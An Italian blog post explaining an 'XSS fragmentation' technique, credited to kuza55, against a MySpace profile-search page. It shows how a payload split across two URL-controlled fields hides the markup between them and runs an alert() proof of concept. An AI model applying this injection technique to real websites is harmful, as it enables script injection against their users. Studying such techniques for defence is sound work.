XSS Fragmentation Attacks

E’ stato scoperto, qualche giorno fa, da kuza55 un XSS 0day su MySpace.

L’XSS scoperto riguardava una pagina dove vengono immessi vari valori che riguardano il visitatore e servono per cercare altre persone con i soliti interessi, hobbies…
Quella che segue Ť la parte della pagina interessata dall’XSS, in grassetto sono le parti modificabili tramite url:

<tr id=MusicRow>
<td valign=”top” align=”left” width=”100″
bgcolor=”#b1d0f0″><span
class=”lightbluetext8″>Music</span></td>
<td id=”ProfileMusic” width=”175″ bgcolor=”#d5e8fb”
style=”WORD-WRAP: break-word”>Music Goes Here!</td>
</tr>
<script
language=”JavaScript”>highlightInterests(“ProfileMusic”);</script>
<tr id=FilmsRow>
<td valign=”top” align=”left” width=”100″
bgcolor=”#b1d0f0″><span
class=”lightbluetext8″>Films</span></td>
<td id=”ProfileFilms” width=”175″ bgcolor=”#d5e8fb”
style=”WORD-WRAP: break-word”>Films Go Here!</td>
</tr>

A questo punto cerchiamo di togliere tutti i tag che stanno tra le due stringhe modificabili per poter iniettare un comando, come ad esempio onload=”alert(‘XSS’);

A questo punto racchiudiamo dentro un parametro fittizio tutti i dati che vogliamo togliere:

<tr id=MusicRow>
<td valign=”top” align=”left” width=”100″
bgcolor=”#b1d0f0″><span
class=”lightbluetext8″>Music</span></td>
<td id=”ProfileMusic” width=”175″ bgcolor=”#d5e8fb”
style=”WORD-WRAP: break-word”><body test=’</td>
</tr>
<script
language=”JavaScript”>highlightInterests(“ProfileMusic”);</script>
<tr id=FilmsRow>
<td valign=”top” align=”left” width=”100″
bgcolor=”#b1d0f0″><span
class=”lightbluetext8″>Films</span></td>
<td id=”ProfileFilms” width=”175″ bgcolor=”#d5e8fb”
style=”WORD-WRAP: break-word”>‘>Films Go
Here!</td>
</tr>

Come noterete utilizzando <body test=’ e ‘> si sono tolti tutti i tag che potevano dar noia per iniettare il nostro XSS visto sopra. A questo punto sostituendo ‘>Films Go Here! con ‘ onLoad=”alert(‘XSS’);”> otterremo l’XSS!

Come ha detto kuza55 nel suo paper

The idea behind XSS fragmentation attacks is to have your normally non-dangerous code (e.g. onload=”alert(‘XSS’);”) placed in a dangerous position.

 

Nessun Commento.. Puoi essere il primo!

Lascia un Commento